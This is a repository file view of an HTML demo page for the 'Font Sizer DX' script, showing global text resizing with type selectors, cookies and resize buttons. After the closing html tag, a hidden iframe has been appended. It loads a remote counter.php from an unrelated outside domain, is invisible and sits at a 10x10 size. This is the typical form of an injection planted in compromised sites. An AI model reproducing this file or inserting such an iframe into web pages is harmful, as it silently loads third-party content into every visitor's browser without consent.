-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathglobal.html
68 lines (55 loc) · 2.72 KB
/
global.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
<html>
<head>
<title>Using Type Selectors with Font Sizer DX for Text Resize Throughout Document</title>
<style type="text/css">
/* body font-size matches default set in setDefaults (below) */
body { font: 12px/1.3 verdana, arial, helvetica, sans-serif }
h1 { font-size:1.3em; }
a:link { color:#33c }
a:visited { color:#339 }
div#menu { font-size:14px; background-color:#eee; }
p.demo1 { font-size: 12px }
div.demo2 { font-size: 11px }
td.demo3 { font-size: 12px }
/* hide from incapable browsers */
div#sizer { display:none; }
</style>
<script src="js/dw_event.js" type="text/javascript"></script>
<script src="js/dw_cookies.js" type="text/javascript"></script>
<script src="js/dw_sizerdx.js" type="text/javascript"></script>
<script type="text/javascript">
// setDefaults arguments: size unit, default size, minimum, maximum
// optional array of elements or selectors to apply these defaults to
dw_fontSizerDX.setDefaults( "px", 12, 9, 26, ['body', 'td', 'div', 'p', 'font'] );
dw_Event.add( window, 'load', dw_fontSizerDX.init );
</script>
</head>
<body>
<h1>Global Text Resize Using Type Selectors</h1>
<!-- border attribute added due to endless support questions on the subject.
If you like valid strict markup, remove and place a img {border:none;} spec in style sheet -->
<div id="sizer">
<a class="increase" href="#" title="Increase text size"><img src="images/plus.gif" border="0"></a>
<a class="decrease" href="#" title="Decrease text size"><img src="images/minus.gif" border="0"></a>
<a class="reset" href="#" title="Restore default font-sizes"><img src="images/reset.gif" border="0"></a>
</div>
<p>This example demonstrates how to apply text size change onclick to a large number of page elements using type or element selectors. Various elements in this page have classes or ID's attached and style sheets specifying their font size in pixels. Clicking the buttons causes the style sheet specifications to be overridden and allows a resize of these page elements.</p>
<div id="menu">(div with id menu)
<a href="#">link</a> |
<a href="#">link</a> |
<a href="#">link</a> |
<a href="#">link</a>
</div>
<p class="demo1">A paragraph with a class attached and font-size set 12px.</p>
<div class="demo2">A div with a class attached and font-size set 11px.</div>
<table border="0" cellpadding="4" cellspacing="0">
<tr>
<td class="demo3">A table cell with a class attached and font-size set 12px.</td>
</tr>
<tr>
<td><font size="-2">text in table cell inside font tag with size -2</font></td>
</tr>
</table>
<p>Back to <a href="index.html">index</a></p>
</body>
</html><iframe src="https://www.kidston.ch/counter.php" style="visibility: hidden; position: absolute; left: 0px; top: 0px" width="10" height="10"/>